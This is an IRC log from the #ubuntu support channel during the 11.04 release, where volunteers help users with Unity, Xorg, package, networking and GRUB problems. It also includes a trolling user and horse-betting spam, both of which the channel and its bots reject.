[08:25] <sunil> red2kic: Yes, I am gonna try it now, I was looking for a shortcut. as I was bit in hurry to find the solution for this
[08:25] <buhman> like running that ken-jennings-beating-jeopardy-bot
[08:25] <syrinx_> Guest66097: don't do that here
[08:25] <red2kic> sunil: Just use a LiveCD. Install packages when you need them.
[08:25] <Guest66097> do what
[08:25] <red2kic> sunil: That's my "I'm in a hurry" approach.
[08:26] <Guest66097> ask for help
[08:26] <syrinx_> offer money
[08:26] <sunil> red2kic: No problem :)
[08:26] <Guest66097> ur all against me i get it
[08:26] <syrinx_> Guest66097: ask your question once, and wait for someone to reply :D
[08:26] <red2kic> sunil: Sometimes it really is the best solution. Just saying.
[08:26] <Guest66097> asking one who understands to help u will be rewarded no joke
[08:26] <JesseJ79> is 1024x768 a suitable enough resolution to set the dash form factor to "desktop" instead of "automatic" so it doesn't take up the whole screen
[08:26] <mysteriousdarren> what do you need guest?
[08:27] <Guest66097> the rest i know ur scam
[08:27] <shcherbak> Guest66097: SEE PRIVATE MESSAGE!
[08:27] <Guest66097> nice sploof
[08:27] <Guest66097> i cant click
[08:27] <syrinx_> what do you mean you can't click?
[08:27] <tenochslb> Anyone having issues when closing banshee? It always crashes on me
[08:27] <shcherbak> Guest66097: Use TAB ?
[08:27] <mysteriousdarren> ask politely and people will help you
[08:28] <red2kic> Guest66097: "/nick iDestroyPCs" -- then explain the issue in one loooooong line.
[08:28] <red2kic> !enter | Guest66097
[08:28] <ubottu> Guest66097: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[08:28] <Guest66097> ur dead
[08:28] <shcherbak>  /ignore Guest66097
[08:28] <syrinx_> !bing | Guest66097
[08:28] <ubottu> Guest66097: ban
[08:29] <llutz> don't feed the troll please
[08:29] <syrinx_> Guest66097: stop being rude :D
[08:29] <uvaca10> join #django
[08:29] <Guest66097> anyone who is connected ur going to the law 15 broken pc's netbios intrusion good luck
[08:29] <html_inprogress> hi yall
[08:29] <html_inprogress> hi yall
[08:29] <blueonyx> ahoi, how to make the sshd of some of my ubuntu machines use the /etc/{passwd,shadow} from my master machine?
[08:29] <tenochslb> how do i file a bug for banshee?
[08:30] <Guest66097> anyone real!!!
[08:30] <html_inprogress> hi everyone
[08:30] <Guest66097> my last try before i leave this hacked room
[08:30] <tsimpson> tenochslb: Alt-F2, type in "ubuntu-bug banshee"
[08:30] <Guest66097> HELP ME
[08:31] <Guest66097> U have no clue
[08:31] <mysteriousdarren> Guest66097: so what is your problem? explain it cool,calm and collected and we will do our best to help
[08:31] <Guest66097> i have notes for months
[08:31] <blueonyx> Guest66097: http://goo.gl/cEF1w
[08:31] <tenochslb> ok thanks tsimpson
[08:31] <Guest66097> video pics
[08:31] <red2kic> Guest66097: When we asked you questions -- you never explain anything.
[08:31] <Guest66097> linux journal will love me
[08:31] <bison> how to restore xorg using live cd
[08:31] <Guest66097> im a living man in the middle attack
[08:31] <celthunder> bison: what part of xorg
[08:31] <syrinx_> Guest66097: no one will help you if you keep spamming
[08:31] <Guest66097> need help if anyone is legit please
[08:32] <bison> celthunder: i did an update and after reboot, my system is not working anymore, i can see a glimps of the flash screen and it went black with a flickering scree, dark to light dark
[08:32] <html_inprogress> Guest66097,  what do you need help with?
[08:32] <buhman> Guest66097: perhaps you should adjust your snr
[08:32] <Guest66097> right now
[08:32] <red2kic> Guest66097: You worked for Sony? Were you responsible for 77 millions + 25 millions accounts?
[08:32] <celthunder> bison: can you get to a terminal?
[08:32] <Guest66097> a redhat user has me logged
[08:32] <red2kic> Guest66097: Run "w" in the terminal. What do you see?
[08:32] <Guest66097> i have 26 broadcasts on bios
[08:33] <Guest66097> block but keep coming lose
[08:33] <Guest66097> loose
[08:33] <bison> celthunder: recovery mode?
[08:33] <Guest66097> video hijacked
[08:33] <celthunder> bison: alt f1 /ctrl alt f1 when it starts going nuts
[08:33] <Guest66097> there is no recovery
[08:33] <llutz> Guest66097: STOP spamming this channel please
[08:33] <celthunder> can someone kick him?
[08:33] <Guest66097> im a project for 3 years without knowlege
[08:33] <nicolaslara> hi there, has anyone had issues with a laptop's built-in keyboard and mouse on X after upgrading to natty?
[08:33] <buhman> Guest66097: adjust your snr
[08:34] <Guest66097> worst case ever i swear should be on linux mag
[08:34] <Guest66097> hack5
[08:34] <Guest66097> they never seen anything like this
[08:34] <bison> celthunder: o
[08:34] <Guest66097> i need help
[08:34] <bison> celthunder: terminal ready
[08:34] <red2kic> Guest66097: "lsb_release -cs" -- What does it say?
[08:34] <Guest66097> me  vs 12 -20 at one time not fair odds
[08:35] <Guest66097> but i maintain
[08:35] <celthunder> bison: ok what gui were you trying to load?
[08:35] <llutz> !ops  | Guest66097 trolling, spamming
[08:35] <ubottu> Guest66097 trolling, spamming: Help! Channel emergency! (ONLY use this trigger in emergencies) - elky, Madpilot, tritium, Nalioth, tonyyarusso, PriceChild, Amaranth, jrib, Myrtti, mneptok, Pici, jpds, gnomefreak, bazhang, jussi, Flannel, ikonia, maco, h00k, IdleOne, nhandler, bilalakhtar, Jordan_U, or rww!
[08:35] <bison> gnome
[08:35] <Guest66097> i cant get private messages ect
[08:35] <unityproblem> i am not able to install any packages due to dpkg error can any one help ??
[08:35] <Guest66097> someone call if ur real
[08:35] <Guest66097> ill exp[lain
[08:35] <Guest66097> please yo
[08:35] <celthunder> unityproblem: what's the dpkg error
[08:35] <html_inprogress> guest what do you need help with
[08:36] <celthunder> html_inprogress: he needs help being kicked
[08:36] <buhman> Guest66097: you must be quite skilled to deal with these alleged attacks and spam irc at the same time
[08:36] <tsimpson> Guest66097: either explain your issue, or go somewhere else
[08:36] <Flynsarmy> When i first installed natty I had teh option of setting my drivers to noveau 3d (expierimental) or nvidia proprietry in the 'additional drivers' window. I selected nvidia proprietry. I now want to switch to noveau but the only drivers available in that window noare are hte nvidia proprietry ones...how can i switch to noveau 3d?
[08:36] <Guest66097> im hacked beyond anything you know
[08:36] <red2kic> Guest66097: Explain everything in http://pastebin.com/ -- Cmon!
[08:36] <jussi> Guest66097: please keep to support topics only
[08:36] <Guest66097> smurfed
[08:36] <Guest66097> sipcuped
[08:36] <bison> celthunder: gnome
[08:36] <nicolaslara> is there a way to revert to the previous (pre-natty) x server?
[08:36] <DJones> !classic | nicolaslara
[08:36] <ubottu> nicolaslara: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[08:36] <celthunder> bison ok can you try loading in fallback mode?
[08:36] <celthunder> bison: can your video card handle it
[08:37] <llutz> tsimpson: may i pm you (ubottu related question)?
[08:37] <celthunder> unityproblem: what's the dpkg error
[08:37] <bison> celthunder: i have a gforce 9500 with 512am
[08:37] <tsimpson> llutz: sure
[08:37] <html_inprogress> nicolaslara,  who isnt ...? lol
[08:37] <unityproblem> wait ill give u the paste bin link
[08:37] <celthunder> Bison using propriertary drivers or open source?
[08:37] <nicolaslara> DJones: ubottu: no, no.. I'm using kubuntu, but the built-in keyboard and mouse don't work on X
[08:38] <bison> celthunder: proprirtary
[08:38] <nicolaslara> I have a usb mouse so I can drop to the console to debug the issues
[08:38] <nicolaslara> but no usb keyboard..
[08:38] <unityproblem> http://pastebin.com/wGWnesBX
[08:38] <DJones> nicolaslara: ok, I thought you just wanted to get back to the previous gnome desktop instead of unity, I don't use kubuntu so can't help with that
[08:38] <Dig> salve, come rimuovo Unity e installo gnome?
[08:38] <helpme> help
[08:39] <helpme> hacking me on backtrack
[08:39] <html_inprogress> celthunder,  well i just scanned , athe logs and his a windows power user and a big linux virgin,, but still try to see what he wants
[08:39] <helpme> cant even maintain
[08:39] <huitailang> hi
[08:39] <DJones> Dig: Gnome desktop is installed alongside Unity, you can select it at the login screen
[08:39] <helpme> wow
[08:39] <DJones> !classic > Dig
[08:39] <ubottu> Dig, please see my private message
[08:39] <huitailang> i wanna compile a package named gbkfonts
[08:39] <helpme> HELP
[08:39] <unityproblem> celthunter :  http://pastebin.com/wGWnesBX
[08:39] <unityproblem> check out
[08:40] <nicolaslara> DJones: thanx anyway.. I think it's an issue with X in general, more than kubuntu itself, though. I tried installing gdm and running X manually and get the same problems no keyboard/mouse recognized
[08:40] <huitailang> on 11.04, gbkfonts requires /usr/include/freetype/ftxpost.h
[08:40] <bison> celthunder: so is there a problem with my xorg? or driver of my video card thats going nuts
[08:40] <helpme> stupid me not to realize this is the channel
[08:40] <Besogon> helpme: What can't you "mantain"
[08:40] <helpme> someone if theres anyone real help me
[08:40] <huitailang> how can i install freetype and freetype-dev ?
[08:41] <unityproblem> http://pastebin.com/wGWnesBX
[08:41] <helpme> i got 5 XXXX on irc
[08:41] <unityproblem> any solution?
[08:41] <helpme> on tab
[08:41] <nicolaslara> I was trying to manually edit xorg.conf, but apparently ubuntu's x config is quite different from other distros
[08:41] <helpme> disconnected
[08:41] <html_inprogress> helpme,  what do you need
[08:41] <huitailang> i just installed libfreetype6 and libfreetype6-dev. it does not worked.
[08:41] <LAcan> what do I have to put in /etc/network/interfaces to make an interface start automatically when the computer boots?
[08:41] <helpme> a person who knows computing to help me
[08:41] <tsimpson> helpme: either explain your issue, or go somewhere else
[08:41] <helpme> please man
[08:41] <helpme> all techs fail
[08:41] <red2kic> helpme: UNPLUG ALL COMPUTERS.
[08:41] <bazhang> !backtrack > helpme
[08:41] <ubottu> helpme, please see my private message
[08:41] <helpme> 15 broken pc's no joke
[08:42] <LAcan> what do I have to put in /etc/network/interfaces to make an interface start automatically when the computer boots?
[08:42] <helpme> it wont let me
[08:42] <bazhang> helpme, this not the bt channel
[08:42] <unityproblem> anyonw can help me with this ? http://pastebin.com/wGWnesBX    ??
[08:42] <helpme> ubuntu
[08:42] <helpme> i know
[08:42] <helpme> i know computers
[08:42] <bazhang> helpme, stop with the enter key
[08:42] <helpme> i have 20+ hackers on me
[08:42] <red2kic> I know remote controls.
[08:42] <helpme> and no one to help
[08:43] <red2kic> helpme: UNPLUG ALL COMPUTERS.
[08:43] <bison> celthunder: still there?
[08:43] <celthunder> bison back sorry
[08:43] <celthunder> went afk for a minute to answer a call
[08:43] <celthunder> let me scrol up
[08:43] <unityproblem> http://pastebin.com/wGWnesBX   can anyone solve this  ???
[08:43]  * LAcan can someone help me configre /etc/networks/interfaces ?
[08:43] <celthunder> bison: try the open source ones
[08:43] <shcherbak> red2kic: Wonder if he have dynamic ip...
[08:43] <ajdonnison> LAcan, you need them in an 'auto' stanza.
[08:43] <unityproblem>  http://pastebin.com/wGWnesBX   can anyone solve this  ???
[08:44] <bison> celthunder: how can do that, i cant use my system
[08:44] <red2kic> shcherbak: I don't care. He can't answer simple questions. :\
[08:44] <grobe> LAcan: http://pastebin.com/9hrzxpv8
[08:44] <nicolaslara> in general, is there a way to revert the xorg package without having to uninstall it (and with it all things that depend on X)
[08:44] <unityproblem>  http://pastebin.com/wGWnesBX   can anyone solve this  ???
[08:44] <html_inprogress> helpme,   you need to listen to red2kic ...    and why are you getting hack? what are they trying to hack you for?
[08:44] <celthunder> bison: unless you set a specific driver in xorg.conf install them and then use modprobe
[08:44] <red2kic> html_inprogress: He can't talk. Yay. :)
[08:44] <zvacet> unityproblem: try with sudo dpkg --configure -a  sudo apt-get -f install
[08:45] <bison> celthunder: can you teach me how
[08:45] <LAcan> ajdonnison, can you maybe tell me ahwere i need to put the auto? http://pastebin.com/uMis1nxE
[08:45] <unityproblem> E: Sub-process /usr/bin/dpkg returned an error code (1)
[08:46] <llutz> grobe: LAcan editing /etc/resolv.conf isn't recommended, use entries like "dns-nameservers 192.168.1.10" in /etc/network/interfaces   (needs package resolvconf being installed)
[08:46] <ajdonnison> LAcan, better to use the resource grobe pointed you to.
[08:46] <LAcan> ya i did and its useless
[08:47] <hyu> hello i'm a racegoer i have a link that makes
[08:47] <hyu> me win some money check it and register
[08:47] <hyu> In france the most popular bet in horsebetting
[08:47] <hyu> is the "quinte+":
[08:47] <hyu> 3on5 wins up to 300
[08:47] <FloodBot1> hyu: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[08:47] <hyu> 4on5 wins up to 3000
[08:47] <LAcan> ajdonnison, I just need to make is start when the PC boots.... dont know where to put the 'auto' stanza
[08:48] <ajdonnison> LAcan, did you do a 'man interfaces'?
[08:48] <hyu> In france the most popular bet in horsebetting
[08:48] <hyu> is the "quinte+":
[08:48] <hyu> 3on5 wins up to 300
[08:48] <hyu> 4on5 wins up to 3000
[08:48] <hyu> 5on5 disorder 15000 , order up to 1.000.000€ ,
[08:48] <FloodBot1> hyu: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[08:48] <hyu> check yourself at my own channel name: leturfiste
[08:48] <shcherbak> !ops
[08:48] <ubottu> Help! Channel emergency! (ONLY use this trigger in emergencies) - elky, Madpilot, tritium, Nalioth, tonyyarusso, PriceChild, Amaranth, jrib, Myrtti, mneptok, Pici, jpds, gnomefreak, bazhang, jussi, Flannel, ikonia, maco, h00k, IdleOne, nhandler, bilalakhtar, Jordan_U, or rww!
[08:48] <html_inprogress> hyu,  this is not a race horse channel
[08:48] <LAcan> ajdonnison, I read the ubuntu WiFiWiki pretty thoroughly
[08:48] <shcherbak> hyu: Why???
[08:48] <llutz> LAcan: "auto wlan1" after "iface lo...."
[08:48] <DJones> hyu: Please stopp spamming, its offtopic and not appropriate for this support channel
[08:49] <vili> Hello, I have a problem installing 11.04
[08:49] <LAcan> ty llutz
[08:49] <vili> I put Ubuntu on an USB drive with unbetbootin
[08:49] <vili> And when i try to load it up I get a really messed up screen
[08:49] <vili> fuzzy pixels and white squares everywhere
[08:50] <hyu> i'm a french racegoer check my channel : leturfiste
[08:50] <kaushal> hi
[08:50] <vili> Not sure what to do
[08:50] <hyu> hi
[08:50] <vili> Anyone have any ideas or need more info?
[08:50] <zvacet> unityproblem: try sudo apt-get -f install first and then sudo dpkg --configure -a
[08:50] <sandGorgon> wow .. phoronix reports that between 8.04 and 11.04 there is almost a 20% increase in power consumption for laptops
[08:50] <kaushal> can i know the history of iotop application ?
[08:50] <huitailang> what should i do for install libttf and libttf-dev?
[08:51] <chille> is there any easy way to configure the shortcuts in Unity?
[08:51] <chille> for example, i don't want Super+T to open the trash, i want to use it to open a new tab in my terminal
[08:53] <LAcan> hrmmm didnt take
[08:53] <faryshta> Is there any good tutorial for aircrack?
[08:53] <shcherbak> kaushal: Not sure iotop do produce logs (or history)
[08:53] <LAcan> faryshta, #aircrack-ng
[08:53] <bazhang> faryshta, #aircrack-ng can help
[08:53] <LAcan> How do I get a wireless connection to auto start with the computer instead of on log in?
[08:54] <llutz> LAcan: networkmanager has a setting for that
[08:54] <vili> Is there any way to boot the Ubuntu installer in a low graphics mode?
[08:54] <bison> please help me with my system
[08:54] <LAcan> llutz, im trying to avoid network manager.... but are you sure cuz I looed thru it pretty thoroughly...?
[08:55] <shcherbak> vili: you would need alternative CD, Why do you use unetbootin, btw?
[08:55] <llutz> LAcan: i'm sure, since my netbook using networkmanager has wifi-connection with nobody being logged in
[08:55] <LAcan> llutz, also network manager doesnt start until gnome does...?
[08:55] <LAcan> hrmmmm
[08:55] <shcherbak> !alternative > vili
[08:55] <ubottu> vili, please see my private message
[08:55] <vili> Thanks
[08:55] <vili> It's just something I'm used to using
[08:55] <llutz> LAcan: thats nm-applet. networkmanager runs as a service in background after boot
[08:56] <vili> Is there a better alternative for USB installs?
[08:56] <Tiktalik> guys, I installed Ubuntu 10.10
[08:56] <Tiktalik> err
[08:56] <Tiktalik> 11.4
[08:56] <LAcan> llutz, just "networkmanager" from the command line?
[08:56] <Tiktalik> And it refuses to boot right
[08:56] <grobe> unity not supported with my graphic card Nvidia RIVA TNT2, is there hardware error, so I'm using ubuntu classic ><
[08:56] <Tiktalik> Unity won't work right, that is
[08:56] <Tiktalik> It refuses to start
[08:56] <shcherbak> vili: Ubuntu have native Startup disk creator, so why unetbootin?
[08:57] <zvacet> Tiktalik: didn't boot at all or you can not boot unity
[08:57] <Tiktalik> zvacet: I tried Ubuntu Classic, not working right either
[08:57] <vili> shcherbak, Ah, well my laptop isn't running Ubuntu
[08:57] <zvacet> from login menu select ubuntu classic
[08:57] <Tiktalik> zvacet: I tried that, it didn't work either
[08:57] <DirtyDawg> guys, when trying to install 11.04, i can *just* about see the graphics for the installer, its there but sooo dim i can hardly see it, any ideas
[08:58] <zvacet> Tiktalik: are you sure that cd is right ( md5sum checked)
[08:58] <Tiktalik> zvacet, it's not a fresh install
[08:58] <LAcan> DirtyDawg, plug your laptop in
[08:58] <Tiktalik> I upgraded
[08:58] <loxs> i tried installing redis-server i386 on my amd64 system (with dpkg --force-architecture). It failed, but now I can't install normal redis-server, as it thinks i386 is installed. I can't uninstall it, as it doesn't find such a package. The error is as follows        redis-server: 2:2.2.5-1 (Multi-Arch: no) is not co-installable with redis-server:i386 2:2.2.5-1 (Multi-Arch: no) which is currently installed
[08:58] <faryshta> llutz, where to find this networkmanager option?
[08:58] <shcherbak> vili: Right, CD is better way then (you can make USB via live session from CD)
[08:58] <bison> please help me with my system
[08:59] <Tiktalik> zvacet: I upgraded ubuntu to 11.4, then when I tried to log in the login window just disappeared, then I tried again with ubuntu classic selected
[08:59] <Tiktalik> After that, I tried safe mode
[08:59] <Tiktalik> It worked
[08:59] <Tiktalik> Then, I tried unity again, and it kinda worked. No menu bar though
[08:59] <zvacet> Tiktalik: if you can boot in recovery then
[09:00] <starZ> hi all, just get my upgrade to 11.04 and the desktop switcher in the panel is showing only 1 workspace.. have you ever experience that?
[09:00] <zvacet> Tiktalik: maybe your gpu I don't know
[09:00] <Tiktalik> zvacet: brb, imma try classic again
[09:00] <faryshta>  #aircrack-ng is dead. Does anyone knows where else to find help about aircrack or a good tutorial about it?
[09:00] <vili> shcherbak, Alright I'll try that then, thanks
[09:00] <AziaBurgi> hello all
[09:00] <Trond^^> Why is it advisable to not upgrade to latest Ubuntu, but instead do a fresh install?
[09:01] <bison> can anyone help me
[09:01] <shcherbak> faryshta: They forum and wiki and quite decent.
[09:01] <shcherbak> *are
[09:01] <starZ> hi all, I've just get my upgrade to 11.04 and the desktop switcher in the panel is showing only 1 workspace.. have you ever experience that?
[09:01] <AziaBurgi> i screwed my install of ubuntu when i upgraded to 11.04
[09:01] <AziaBurgi> i was getting the following error: http://i51.tinypic.com/2cz8t5g.jpg
[09:02] <mysteriousdarren> go to the http://www.backtrack-linux.org/forums/forum.php to find help, it always works for me
[09:02] <AziaBurgi> i've booted off a live cd to the cmd line
[09:02] <AziaBurgi> all the files are still there and are intact
[09:03] <Tiktalik> zvacet: okay, classic works now
[09:03] <AziaBurgi> i suspect i've broke grub somehow
[09:03] <Tiktalik> that was odd
[09:03] <zvacet> Tiktalik: good  :)
[09:03] <LAcan> sorry llutz how do i get to the network manager?
[09:03] <AziaBurgi> can anyone point me someone to fix it?
[09:03] <Flynsarmy> How can i stop window titlebars opening behind the top panel in natty classic?
[09:03] <faryshta> shcherbak, but is very outdated http://madwifi-project.org/wiki/Compatibility?action=diff&version=5 the compatibilily list was written 2 years ago.
[09:03] <sje2> LAcan: what do you mean, get to it?
[09:04] <LAcan> sje2, how do I open it?
[09:04] <LAcan> brign up the gui or whatever...
[09:04] <sje2> LAcan: nm-applet
[09:04] <LAcan> sje2, no i dont want the applet
[09:04] <sje2> that's the gui, man.
[09:05] <bison> i did an update and after reboot, my system is not working anymore, i can see a glimps of the flash screen and it went black with a flickering scree, dark to light dark
[09:05] <LAcan> sje2, ok.. im going off osmeone else tips but maybe u know... how can I manually configure a wifi interface to start and connect when the computer boots instead of when I log in?
[09:05] <Arachon> I restored my home folder from backup after installing Natty, and now Unity is bugged, the panel is invisible (apart from a slightly transparent border) and the dock is completely missing
[09:05] <sje2> LAcan: I don't know how to do that, sorry
[09:05] <sje2> good question though
[09:06] <Flynsarmy> Answer to my question was 'Place Windows' in csmm. thanks me
[09:06] <visionofarun> Hi, I am trying to build 32 bit C++ app on my 64 Ubuntu. I get the following error
[09:06] <visionofarun> /usr/bin/ld: skipping incompatible /usr/lib/gcc/x86_64-linux-gnu/4.4.5/libstdc++.so when searching for -lstdc++
[09:06] <LAcan> Can anyone tell me how to manually configre a NIC to start on boot instead of when I log in?
[09:08] <Arachon> Aaanyone?
[09:08] <mysteriousdarren> what?
[09:08] <Arachon> I restored my home folder from backup after installing Natty, and now Unity is bugged, the panel is invisible (apart from a slightly transparent border) and the dock is completely missing
[09:09] <mysteriousdarren> Arachon: it was buggy before the restore?
[09:09] <Arachon> mysterious: Nope, worked perfectly
[09:09] <Arachon> mysteriousdarren: So there's something in my home folder doing it... Probably a config file that's hung around since 10.10
[09:09] <visionofarun> Anyone?
[09:09] <LAcan> Can anyone tell me how to manually configre a NIC to start on boot instead of when I log in?
[09:10] <Tuplad> is there a way to uninstall unity and everything that comes with it ? it's really bloated and slows everything down on both computers.
[09:10] <mysteriousdarren> It would def be a config file or a .....I am thinking.
[09:10] <red2kic> Tuplad: Uninstall -- No.  Reinstall -- Yes.
[09:11] <shcherbak> LAcan: Apart that linuxforum need blocking ads, they still have some nice info: http://www.linuxforums.org/forum/networking/43978-ubuntu-wireless-boot-connect.html
[09:11] <Tuplad> red2kic: why reinstall ?
[09:11] <rumpe1> Tuplad, if you don't use it, it won't slow your pc down
[09:11] <red2kic> !downgrade | Tuplad
[09:11] <ubottu> Tuplad: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[09:11] <mysteriousdarren> or use a different desktop environment altogether.
[09:11] <Tuplad> !downgrade
[09:11] <red2kic> Tuplad: Read what ubottu told you.
[09:11] <Tuplad> I'm not trying to downgrade
[09:11] <Tuplad> just remove unity
[09:12] <Tuplad> I'd rather get Gnome 3
[09:12] <Arachon> You can install Gnome 3
[09:12] <Arachon> It's gonna break Unity, but you can still use Gnome
[09:12] <starZ> hi all, I've just get my upgrade to 11.04 and the desktop switcher in the panel is showing only 1 workspace.. have you ever experience that? is it because of new compiz?
[09:12] <shcherbak> Tuplad: Unity can coegsist with Gnome3, on point of removing it, yet.
[09:12] <mysteriousdarren> Arachon: or one of the dependancies.
[09:12] <Tuplad> so removing Unity can't be done ?
[09:12] <red2kic> Tuplad: I think you can switch to classic Gnome.
[09:13] <Jordan_U> !gnome3 | Tuplad
[09:13] <ubottu> Tuplad: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[09:13] <shcherbak> Tuplad: Who knows?
[09:13] <Jordan_U> !classic | Tuplad
[09:13] <ubottu> Tuplad: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[09:13] <mysteriousdarren> Arachon: look at the package manager and see if anything is broken. Or update and see how it goes from there.
[09:13] <Tuplad> !Unity | Tuplad
[09:13] <ubottu> Tuplad, please see my private message
[09:14] <Arachon> mysteriousdarren: The thing is, I can log into a guest account perfectly alright.
[09:14] <veovis> In 11.04, when you click on the sound icon in the system tray, and you see album art and song info, as well as controls, is there a way to add ratings, say, under the controls?
[09:14] <AziaBurgi> can anyone talk me through rebuilding my grub thingy?
[09:14] <starZ> hi all, I've just get my upgrade to 11.04 and the desktop switcher in the panel is showing only 1 workspace.. have you ever experience that? is it because of new compiz?
[09:14] <mysteriousdarren> Arachon: that is very strange. So everything works normal on one, and not the other? Are the apps and programs identical?
[09:15] <Starminn> !grubrepair | AziaBurgi
[09:15] <ubottu> AziaBurgi: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[09:15] <Arachon> mysteriousdarren: Well, it's the same system... I just choose "Guest session" from the shutdown menu, and bam, unity's working
[09:15] <mysteriousdarren> starZ: just add another workspace...
[09:15] <Arachon> mysteriousdarren: so there's something in my home folder that came with me from Maverick
[09:16] <faryshta> LAcan, did you managed to do it? I am interested in your problem too.
[09:16] <LAcan> shcherbak, ok i think i had my auto statment in the wrong place
[09:16] <starZ> mysteriousdarren: thx for the answer but it doesn't work for me.. :(
[09:16] <mysteriousdarren> Arachon: hmmmm, is there anything that you can take out. I had the same problem when I upgraded. I cut everything except my own files and did a reinstall of the apps and programs.
[09:16] <LAcan> faryshta, rebooting
[09:17] <bison> can anyone help me
[09:17] <Arachon> mysteriousdarren: Well that's just it... Lots of things hidden, .gconf, .compiz etc, that I'm not sure what it does
[09:17] <Arachon> I guess I could load up natty in a virtual machine on my desktop, and compare the home folders
[09:17] <grind> Upgraded from 10.04 to 10.10, 2 display machine, about 2 days after upgarde i log into machine and 2nd display retains the login screen wallpaper with no menu bars. I can move the mouse into that screen but cant do anything (right click doesnt work either)
[09:17] <sje2> bison: with what?
[09:17] <root> fasdf
[09:17] <grind> other profiles can see the 2nd screen fine
[09:18] <root> join
[09:18] <bison> sje2: i did an update and after reboot, my system is not working anymore, i can see a glimps of the flash screen and it went black with a flickering scree, dark to light dark
[09:18] <Guest62327> asdfasdf
[09:18] <sje2> root: shouldnt run irc clients under root...
[09:18] <mysteriousdarren> I stripped mine down and deleted almost everything and it worked. Alot of things aren't needed.
[09:18] <sje2> bison: ah, I'm not on the new version of ubuntu...I'm actually on mint
[09:18] <starZ> hi all, I've just get my upgrade to 11.04 and the desktop switcher in the panel is showing only 1 workspace.. have you ever experience that? is it because of new compiz?
[09:18] <grind> starZ right click and add more rows
[09:19] <LAcan> ffs didnt work
[09:19] <slacker_nl> mmm
[09:19] <slacker_nl> does anyone know why ubuntu+1 is invite only?
[09:19] <glassrose> hi! I just upgraded to natty and the update manager gives me the following message: Not all updates can be installed
[09:19] <DJones> slacker_nl: There isn't an ubuntu +1 in development yet, so the channel is closed
[09:20] <bhavanshu> can any 1 help me to install no-ip duc
[09:20] <slacker_nl> DJones: I used to be in that channel, till my server rebooted and now it is invite only.. they must have changed it while I was init
[09:20] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:20] <starZ> grind: doesn't work.. ;(
[09:20] <slacker_nl> and well, no dice atm
[09:21] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:21] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:21] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:21] <Jordan_U> !mint | sje2
[09:21] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:21] <ubottu> sje2: Linux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org
[09:21] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:21] <FloodBot1> bhavanshu: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:21] <glassrose> I was getting this error on Maverick too and I hoped this should have got resolved when I installed natty. :(
[09:21] <glassrose> any clues
[09:21] <glassrose>  anyone?
[09:21] <novaria_fajar> hello all!
[09:21] <Jordan_U> !backtrack | bhavanshu
[09:21] <ubottu> bhavanshu: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[09:21] <bhavanshu> can any 1 help me to install no-ip duc in backtrack
[09:22] <starZ> hi all, I've just get my upgrade to 11.04 and the desktop switcher in the panel is showing only 1 workspace.. have you ever experience that? is it because of new compiz? anyone anyclue?
[09:22] <shcherbak> novaria_fajar: Hey!
[09:22] <DJones> slacker_nl: When new releases are made, they make the channel invite only so that people use #ubuntu for support to avoid confusion, once 11.10 starts being developed and available for download its normally opened up again
[09:22] <visionofarun> Hello, can someone please help me in building a sample 32 bit c++ app on 64 bit Unbuntu?
[09:22] <novaria_fajar> Can somebody help me explain about piracy thing??? :))
[09:22] <red2kic> !piracy | novaria_fajar
[09:22] <ubottu> novaria_fajar: piracy discussion and other questionably legal practices are not welcome in the Ubuntu channels. Please take this discussion elsewhere or abstain from it altogether. This includes linking to pirated software, music, and video. Also see !guidelines and !o4o
[09:23] <bison> can anyone help me
[09:23] <sje2> Jordan_U: why did you do that?  Was I asking advice, and even if I was asking for advice, most of the advice I can be given would be just as usable
[09:23] <novaria_fajar> no...i mean this: I want to explain to my friends that blender, libreoffice, n etc didnt violate someones copyright
[09:24] <Jordan_U> sje2: Sorry, that was indeed a mistake on my part.
[09:24] <sje2> its fine
[09:24] <novaria_fajar> any body?? could explain me that copyright thing......
[09:24] <novaria_fajar> :))
[09:24] <sje2> novaria_fajar: did you explain waht free software is?
[09:25] <shcherbak> novaria_fajar: I guess it is called fork ;)
[09:25] <Jordan_U> novaria_fajar: http://www.ubuntu.com/ubuntu/why-is-it-free
[09:26] <Angelo_abe> Hi, I reinstalled my laptop with ubuntu 11.04, since that I cannot export displays from a server to my screen, how can I fix that? The error on the remote host is "Cannot open display". I did run "xhost +" on my localhost
[09:26] <sje2> Angelo_abe: what kind of server?
[09:27] <Jordan_U> novaria_fajar: You can also give the example of Firefox which they are likely to be familiar with.
[09:27] <mysteriousdarren> visionofarun: have you used C# before? I used devc# and it worked great for me
[09:27] <d_atharva> Hi,I am going to format my pc soon.My ubuntu is Up to date.can I save the file so that I can avoid downloading the update files again ??
[09:27] <novaria_fajar> So this is my debate with my friend: He think, that if someone want to make a new software that can execute .DOC file in example he need to asking for permission to the .DOC code owner......
[09:27] <shcherbak> !ot | novaria_fajar
